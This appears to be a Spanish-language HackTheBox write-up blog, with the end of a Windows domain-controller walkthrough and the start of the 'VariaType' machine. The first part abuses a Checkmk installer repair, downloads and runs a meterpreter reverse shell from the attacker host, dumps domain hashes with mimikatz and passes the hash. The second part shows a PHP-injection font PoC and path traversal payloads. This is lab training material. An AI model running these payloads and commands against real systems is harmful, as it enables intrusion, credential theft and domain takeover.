Luego, identificamos cual archivo .msi pertenece a Check MK en C:\Windows\Installer\, vemos que es 1e6f2.msi.

PS C:\ProgramData\checkmk\agent> $inst = New-Object -ComObject WindowsInstaller.Installer; Get-ChildItem C:\Windows\Installer\*.msi | ForEach-Object { try { $db=$inst.OpenDatabase($_.FullName,0); $v=$db.OpenView("SELECT `Value` FROM `Property` WHERE `Property`='ProductName'"); $v.Execute(); $r=$v.Fetch(); $name = if ($r) { $r.StringData(1) } else { '' }; [PSCustomObject]@{File=$_.Name; ProductName=$name} } catch { [PSCustomObject]@{File=$_.Name; ProductName='<err>'} } } | Format-Table -AutoSize

File      ProductName                                                   
----      -----------                                                   
1e6f2.msi Check MK Agent 2.1                                            
387c2.msi Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532   
387c6.msi Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532
387ca.msi Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532   
387ce.msi Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532
387d1.msi VMware Tools                                                  


PS C:\ProgramData\checkmk\agent>

Tras ejecutar el archivo 1e6f2.msi observamos que se crea el archivo cmk_all_6440_1.cmd, esto nos indica que el rango del numero en el nombre es entre 1-10000.

PS C:\ProgramData\checkmk\agent> msiexec.exe /fa C:\Windows\Installer\1e6f2.msi
PS C:\ProgramData\checkmk\agent> dir C:\Windows\Temp\


    Directory: C:\Windows\Temp


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         11/3/2025   5:05 PM                vmware-SYSTEM                                                        
-a----        11/11/2025   1:35 PM             53 af397ef28e484961ba48646a5d38cf54.db.ses                              
-a----        11/11/2025  10:05 PM           1069 cmk_all_6440_1.cmd                                                   
-a----        11/11/2025  10:05 PM            423 cmk_data_6440_2.cmd                                                  
-a----        11/11/2025   1:35 PM              0 mat-debug-6036.log                                                   
-a----        11/11/2025   9:34 PM          35532 MpCmdRun.log                                                         
-a----        11/11/2025   1:34 PM            102 silconfig.log                                                        
-a----         11/4/2025   3:20 PM         189079 vmware-vmsvc-SYSTEM.log                                              
-a----         11/4/2025   3:18 PM          16602 vmware-vmtoolsd-Administrator.log                                    
-a----        11/11/2025   1:33 PM          20998 vmware-vmtoolsd-SYSTEM.log                                           
-a----        11/11/2025   1:45 PM           4891 vmware-vmtoolsd-web_svc.log                                          
-a----         11/4/2025   3:20 PM          66145 vmware-vmusr-Administrator.log                                       
-a----        11/11/2025   1:45 PM           5980 vmware-vmusr-web_svc.log                                             
-a----        11/11/2025   1:33 PM          20132 vmware-vmvss-SYSTEM.log                                              
-a----        11/11/2025  10:05 PM          81920 ~DF66B9E47727DB3BEA.TMP                                              


PS C:\ProgramData\checkmk\agent>

Ademas el contenido son comandos que eliminan o dan permisos a ciertos directorios.

PS C:\ProgramData\checkmk\agent> cat C:\Windows\Temp\cmk_all_6440_1.cmd
icacls "C:\ProgramData\checkmk" /inheritance:d /c
# [... cut ...]
icacls "C:\ProgramData\checkmk\agent\update" /remove:g *S-1-5-32-545 /c
PS C:\ProgramData\checkmk\agent>

Test whoami

Creamos un archivo que contiene la ejecucion de whoami.

1
2
3

PS C:\Windows\Temp> cat payload.cmd
whoami > C:\Windows\Temp\whoami.txt
PS C:\Windows\Temp>

Creamos una copia de nuestro archivo con nombre en el rango de numeros mencionado a traves de un foreach.

`1`	`1..15000 \| foreach { copy C:\Windows\Temp\payload.cmd C:\Windows\Temp\cmk_all_${_}_1.cmd; Set-ItemProperty -path C:\Windows\Temp\cmk_all_${_}_1.cmd -name IsReadOnly -value $true;}`

Ejecutamos el foreach y luego el archivo .msi. Observamos que el comando fue ejecutado como system.

PS C:\Windows\Temp> 1..15000 | foreach { copy C:\Windows\Temp\payload.cmd C:\Windows\Temp\cmk_all_${_}_1.cmd; Set-ItemProperty -path C:\Windows\Temp\cmk_all_${_}_1.cmd -name IsReadOnly -value $true;}
PS C:\Windows\Temp> msiexec.exe /fa C:\Windows\Installer\1e6f2.msi
PS C:\Windows\Temp> dir C:\Windows\Temp\ |findstr /v cmk*


    Directory: C:\Windows\Temp


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         11/3/2025   5:05 PM                vmware-SYSTEM                                                        
-a----        11/11/2025   1:35 PM             53 af397ef28e484961ba48646a5d38cf54.db.ses                              
-a----        11/11/2025   1:35 PM              0 mat-debug-6036.log                                                   
-a----        11/11/2025   9:34 PM          35532 MpCmdRun.log                                                         
-a----        11/11/2025   1:34 PM            102 silconfig.log                                                        
-a----         11/4/2025   3:20 PM         189079 vmware-vmsvc-SYSTEM.log                                              
-a----         11/4/2025   3:18 PM          16602 vmware-vmtoolsd-Administrator.log                                    
-a----        11/11/2025   1:33 PM          20998 vmware-vmtoolsd-SYSTEM.log                                           
-a----        11/11/2025   1:45 PM           4891 vmware-vmtoolsd-web_svc.log                                          
-a----         11/4/2025   3:20 PM          66145 vmware-vmusr-Administrator.log                                       
-a----        11/11/2025   1:45 PM           5980 vmware-vmusr-web_svc.log                                             
-a----        11/11/2025   1:33 PM          20132 vmware-vmvss-SYSTEM.log                                              
-a----        11/11/2025  10:28 PM             21 whoami.txt                                                           


PS C:\Windows\Temp> cat whoami.txt
nt authority\system
PS C:\Windows\Temp>

Shell

Creamos un payload con msfvenom y ejecutamos metasploit a la escucha.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=5555 -f exe -o file.exe
msfconsole -q 
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost tun0
set port 5555

Agregamos la ejecucion de nuestro payload.

1
2
3

PS C:\Windows\Temp> cat payload.cmd
powershell.exe -c "Invoke-WebRequest -Uri http://10.10.14.64/file.exe -OutFile file.exe; ./file.exe"
PS C:\Windows\Temp>

Ejecutamos el foreach y el .msi.

1
2

1..15000 | foreach { copy C:\Windows\Temp\payload.cmd C:\Windows\Temp\cmk_all_${_}_1.cmd; Set-ItemProperty -path C:\Windows\Temp\cmk_all_${_}_1.cmd -name IsReadOnly -value $true;}
msiexec.exe /fa C:\Windows\Installer\1e6f2.msi

Logramos obtener una shell meterpreter en metasploit y la flag root.txt.

msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.64:5555 
[*] Sending stage (188998 bytes) to 10.129.130.165
[*] Meterpreter session 2 opened (10.10.14.64:5555 -> 10.129.130.165:53504) at 2025-11-11 17:34:52 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > cat C:/Users/Administrator/Desktop/root.txt
4e71f9c73789eb0dfb9b80e77c6947ec
meterpreter >

Dump Hashes

Con la sesion meterpreter cargamos mimikatz y obtuvimos los hashes del DC.

meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x86/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

[!] Loaded x86 Kiwi on an x64 architecture.

Success.
meterpreter > kiwi_cmd "lsadump::dcsync /all /csv"
[DC] 'nanocorp.htb' will be the domain
[DC] 'DC01.nanocorp.htb' will be the DC server
[DC] Exporting domain 'nanocorp.htb'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502	krbtgt	40a21f29fd0f5c9374ded20cb0dc9554	514
1000	DC01$	209ce1eeeaa473fa30ea5518170d1470	532480
1103	web_svc	8c8c66765e18bd3d6720dc34ce969b85	66048
500	Administrator	541f4c0063c05d503fd4acb87c046358	66048
3101	monitoring_svc	3f40355b5414ef3fe57f3cb589deeb50	66048

meterpreter >

Unicamente el valor del hash de web_svc fue encontrado.

Hash	Type	Result
541f4c0063c05d503fd4acb87c046358	Unknown	Not found.
8c8c66765e18bd3d6720dc34ce969b85	NTLM	dksehdgh712!@#
3f40355b5414ef3fe57f3cb589deeb50	Unknown	Not found.
209ce1eeeaa473fa30ea5518170d1470	Unknown	Not found.
40a21f29fd0f5c9374ded20cb0dc9554	Unknown	Not found.

Shell as Administrator

winrmexec.py nos permite hacer pass-the-hash para una shell como administrator.

❯ python winrmexec.py -port 5986 -ssl -hashes :541f4c0063c05d503fd4acb87c046358 -no-pass administrator@dc01.nanocorp.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] '-target_ip' not specified, using dc01.nanocorp.htb
[*] '-url' not specified, using https://dc01.nanocorp.htb:5986/wsman
PS C:\Users\Administrator\Documents> whoami
nanocorp\administrator
PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
4e71f9c73789eb0dfb9b80e77c6947ec
PS C:\Users\Administrator\Documents>

ScheduledTask

Dos scripts retornan al estado inicial la maquina.

PS C:\Users\Administrator\links> dir


    Directory: C:\Users\Administrator\links


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----          4/9/2025   4:27 PM            274 ad_cleanup.ps1                                                        
-a----          4/9/2025   4:27 PM            377 cleaning_up.ps1                                                       
-a----          4/2/2025   6:22 PM            518 Desktop.lnk                                                           
-a----          4/2/2025   6:22 PM            975 Downloads.lnk                                                         
-a----         4/11/2025  10:43 AM           1817 script_01.ps1                                                         


PS C:\Users\Administrator\links> cat ad_cleanup.ps1
# Remove user web_svc from the group IT_Support
net group "IT_Support" web_svc  /del

# reset the password of monitoring_svc user 
Set-ADAccountPassword -Identity "monitoring_svc" -NewPassword (ConvertTo-SecureString "M-0-N-I-T-0-R-I-N-G@!" -AsPlainText -Force) -Reset
PS C:\Users\Administrator\links> cat cleaning_up.ps1
# Clean up cmk_all_*_1.cmd and cmk_data_*_2.cmd in C:\Windows\Temp
$patterns = @("cmk_all_*_1.cmd", "cmk_data_*_2.cmd")

foreach ($pattern in $patterns) {
    Get-ChildItem -Path "C:\Windows\Temp" -Filter $pattern -File | ForEach-Object {
        if ($_.IsReadOnly) {
            $_.IsReadOnly = $false
        }
        Remove-Item -Path $_.FullName -Force
    }
}
PS C:\Users\Administrator\links> cat script_01.ps1
# Clear existing RDP credentials for the specified target
cmdkey /list | ForEach-Object {
    if ($_ -like "*target=TERMSRV/*") {
        cmdkey /del:($_ -replace " ","" -replace "Target:","")
    }
}

# Define RDP connection parameters
$Server = "nanocorp.htb"
$User = "web_svc"
$Password = "dksehdgh712!@#"

# Function to check if the user "web_svc" is active
function Check-UserActive {
    $output = qwinsta /server:$Server
    return $output | Select-String -Pattern "web_svc"
}

# Function to check if user is a member of "Remote Desktop Users" group
function Is-UserInRDPGroup {
    $groupMembers = Get-ADGroupMember -Identity "Remote Desktop Users"
    return $groupMembers | Where-Object { $_.SamAccountName -eq $User }
}

# Store RDP credentials
cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password

# Add user to Remote Desktop Users group (if not already added)
if (-not (Is-UserInRDPGroup)) {
    Add-ADGroupMember -Identity "Remote Desktop Users" -Members $User
}

# Check if the user is active before proceeding
$userActive = Check-UserActive

if ($userActive) {
    Write-Output "User '$User' is already active on $Server. No action needed."

    # Remove the user from Remote Desktop Users group
    Remove-ADGroupMember -Identity "Remote Desktop Users" -Members $User -Confirm:$false
    Write-Output "User '$User' has been removed from RDP group."
} else {
    Write-Output "User '$User' is not active on $Server. Proceeding with RDP connection."

    # Initiate RDP connection
    Start-Process "mstsc" -ArgumentList "/v:$Server"

    # Wait for RDP to start 
    Start-Sleep -Seconds 40

    # Close the RDP session (this assumes mstsc window has started)
    Stop-Process -Name mstsc -Force
    Write-Output "RDP session closed."

}
PS C:\Users\Administrator\links>

HackTheBox - VariaType

sckull — Sat, 13 Jun 2026 00:00:00 +0000

VariaType permite la creacion de Variable Fonts en el sitio con fonttools, esta ultima es vulnerable a Arbirary File Write e Inyeccion XML. Tambien, se descubrio un subdominio que aloja y expone un repositorio con credenciales para un portal, se identifico un Path Traversal. La explotacion permitio acceso inicial. Se descubrio un backup de script Python con la libreria fontforge vulnerable, la explotacion permitio acceso a un nuevo usuario. Finalmente se escalaron privilegios a traves de una vulnerabilidad en la libreria de setuptools de Python.

Nombre	VariaType
OS	Linux
Puntos	30
Dificultad	Medium
Fecha de Salida	2026-03-14
IP	10.129.255.105
Maker	WackyH4cker
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [41, 38, 215, 321, 744, 501, 291, 65, 21, 43], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

# Nmap 7.95 scan initiated Thu Mar 19 22:57:01 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.255.105
Nmap scan report for 10.129.255.105
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 19 22:57:16 2026 -- 1 IP address (1 host up) scanned in 14.56 seconds

Agregamos a nuestro archivo /etc/hosts el dominio variatype.htb.

Web Site

Los headers del sitio indican un servidor nginx.

❯ curl -sI variatype.htb
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 20 Mar 2026 05:01:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2321
Connection: keep-alive

❯

El sitio se enfoca en la creacion de fuentes a base de un archivo .designspace.

Expone un formulario para el envio de archivos .designspace y fuentes (.ttf, .otf), a base de estos se crearia una “variable font”.

Se menciona CI/CD pipelines.

Directory Brute Forcing

dirsearch muestra una direccion de descarga.

❯ dirsearch -u http://variatype.htb/ 2>/dev/null

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/htb/variatype/reports/http_variatype.htb/__26-03-19_23-03-16.txt

Target: http://variatype.htb/

[23:03:16] Starting: 
[23:04:14] 302 -  247B  - /download/history.csv  ->  /tools/variable-font-generator
[23:04:14] 302 -  247B  - /download/users.csv  ->  /tools/variable-font-generator
[23:04:52] 200 -    3KB - /services

Task Completed
❯

La direccion /download/ seguramente sea para la descarga del archivo generado por el sitio, al visitar la direccion muestra un mensaje de error.

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio portal.

❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.variatype.htb" -u http://variatype.htb -fw 5

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://variatype.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.variatype.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 5
________________________________________________

portal                  [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 245ms]
:: Progress: [151265/151265] :: Job [1/1] :: 167 req/sec :: Duration: [0:15:26] :: Errors: 0 ::
❯

portal.variatype.htb

El subdominio muestra un formulario para un login.

Directory Brute Forcing

dirsearch muestra un repositorio expuesto, paginas php y un directorio.

❯ dirsearch -u http://portal.variatype.htb/ 2>/dev/null

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/htb/variatype/reports/http_portal.variatype.htb/__26-03-20_00-02-32.txt

Target: http://portal.variatype.htb/

[00:02:32] Starting: 
[00:02:40] 301 -  169B  - /.git  ->  http://portal.variatype.htb/.git/
[00:02:40] 403 -  555B  - /.git/
[00:02:40] 403 -  555B  - /.git/branches/
[00:02:40] 200 -   39B  - /.git/COMMIT_EDITMSG
[00:02:40] 200 -  143B  - /.git/config
[00:02:40] 200 -   73B  - /.git/description
[00:02:40] 200 -   23B  - /.git/HEAD
[00:02:40] 403 -  555B  - /.git/hooks/
[00:02:40] 200 -  137B  - /.git/index
[00:02:40] 403 -  555B  - /.git/info/
[00:02:40] 200 -  240B  - /.git/info/exclude
[00:02:40] 403 -  555B  - /.git/logs/
[00:02:40] 200 -  700B  - /.git/logs/HEAD
[00:02:40] 301 -  169B  - /.git/logs/refs  ->  http://portal.variatype.htb/.git/logs/refs/
[00:02:40] 301 -  169B  - /.git/logs/refs/heads  ->  http://portal.variatype.htb/.git/logs/refs/heads/
[00:02:40] 200 -  700B  - /.git/logs/refs/heads/master
[00:02:40] 403 -  555B  - /.git/objects/
[00:02:40] 301 -  169B  - /.git/refs/heads  ->  http://portal.variatype.htb/.git/refs/heads/
[00:02:40] 403 -  555B  - /.git/refs/
[00:02:40] 200 -   41B  - /.git/refs/heads/master
[00:02:40] 301 -  169B  - /.git/refs/tags  ->  http://portal.variatype.htb/.git/refs/tags/
[00:03:15] 200 -    0B  - /auth.php
[00:03:27] 302 -    0B  - /dashboard.php  ->  /
[00:03:30] 302 -    0B  - /download.php  ->  /
[00:03:34] 301 -  169B  - /files  ->  http://portal.variatype.htb/files/
[00:03:34] 403 -  555B  - /files/
[00:04:21] 302 -    0B  - /view.php  ->  /

Task Completed
❯

Portal - Repo

git-dumper nos permitio obtener el repositorio.

❯ git-dumper http://portal.variatype.htb/ portal_repo
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Testing http://portal.variatype.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://portal.variatype.htb/.gitignore [404]
# ... skip ...
[-] Fetching http://portal.variatype.htb/.git/objects/c6/ea13ef05d96cf3f35f62f87df24ade29d1d6b4 [200]
[-] Fetching http://portal.variatype.htb/.git/objects/03/0e929d424a937e9bd079794a7e1aaf366bcfaf [200]
[-] Fetching http://portal.variatype.htb/.git/objects/b3/28305f0e85c2b97a7e2a94978ae20f16db75e8 [200]
[-] Running git checkout .
❯

git log muestra dos commits realizados mencionando el portal y un usuario para el pipeline. git status muestra un archivo con cambios no enviado.

❯ git log
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:57:57 2025 -0500

    feat: initial portal implementation
❯ git status
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
	modified:   auth.php

❯ cat auth.php
<?php
session_start();
$USERS = [];
❯

Uno de los commits muestra credenciales: gitbot : G1tB0t_Acc3ss_2025!.

❯ git show 753b5f5957
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
 <?php
 session_start();
-$USERS = [];
+$USERS = [
+    'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];
❯

Las credenciales permiten el acceso al portal, este indica las fuentes creadas por el sitio web en el dominio.

User - www-data

CVE-2025-66034

Para generar una ‘variable font’ se necesita un archivo .designspace junto con archivos de fuente .ttf .otf. Este es un archivo de “configuraciones” para una familia de fuentes. fonttools, herramienta utilizada por el sitio, permite generar este tipo de archivos. Especificamente este archivo, en esta ’libreria’, tiene una vulnerabilidad que permite la escritura de archivos de forma arbitraria a traves de Inyeccion XML (Arbitrary File Write and XML injection in fontTools.varLib) que puede escalar a RCE.

En el PoC se especifica el contenido y el archivo a escribir.

<!-- skip -->
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
<!-- skip -->
<variable-fonts>
    <variable-font name="MyFont" filename="output.ttf">
        <axis-subsets>
            <axis-subset name="Weight"/>
        </axis-subsets>
    </variable-font>
</variable-fonts>
<!-- skip -->

Tras ejecutar el archivo setup.py este genera dos fuentes.

❯ python setup.py
❯ ll
.rw-rw-r-- kali kali 813 B Thu Mar 19 23:22:21 2026  mal.designspace
.rw-rw-r-- kali kali 953 B Thu Mar 19 23:21:59 2026  setup.py
.rw-rw-r-- kali kali 600 B Thu Mar 19 23:22:27 2026  source-light.ttf
.rw-rw-r-- kali kali 600 B Thu Mar 19 23:22:27 2026  source-regular.ttf
❯

Enviamos el PoC junto con las dos fuentes, muestra que la ‘variable font’ esta completa.

file muestra que es un archivo TrueType Font data.

1
2
3

❯ file MyVariableFont_-iAnQx7OmxM.ttf
MyVariableFont_-iAnQx7OmxM.ttf: TrueType Font data, 14 tables, 1st "HVAR", 10 names, Macintosh, type 1 string, TestWeight400<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>ThinMEOW2
❯

En el portal se lista el archivo.

La opcion View permite visualizar informacion del archivo. Download descarga el archivo almacenado en este mismo subdominio.

En ninguna parte encontramos el archivo output.ttf el cual tendria la ejecucion de touch, posiblemente este siendo creado en un lugar diferente no accesible via web. Para crear y acceder a este archivo debemos crearlo en un directorio accesible via web.

Path Traversal

En el portal es posible la descarga de archivos, generamos un wordlist con dotdotpwn.

`1`	`❯ ./dotdotpwn.pl -m stdout -d 12 -f /etc/passwd > ~/htb/variatype/wordlist_traversal.txt`

ffuf muestra que es posible acceder a archivos de la maquina, en este caso /etc/passwd, esto indicaria un Path Traversal.

❯ ffuf -w wordlist_traversal.txt -u 'http://portal.variatype.htb/download.php?f=FUZZ' -H 'Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd' -fl 1

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://portal.variatype.htb/download.php?f=FUZZ
 :: Wordlist         : FUZZ: /home/kali/htb/variatype/wordlist_traversal.txt
 :: Header           : Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 1
________________________________________________

..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
..././..././..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..././..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..././..././..././..././..././..././..././..././..././..././..././..././etc/passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 239ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2f.../.%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
....//....//....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 237ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2f..../%2fetc%2fpasswd [Status: 200, Size: 1234, Words: 7, Lines: 26, Duration: 238ms]
:: Progress: [11052/11052] :: Job [1/1] :: 166 req/sec :: Duration: [0:01:06] :: Errors: 0 ::
❯

/etc/passwd muestra el usuario steve.

❯ curl 'http://portal.variatype.htb/download.php?f=..././..././..././..././..././etc/passwd' -H 'Cookie: PHPSESSID=0u6rvak3eo9l56m6jmtta117rd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
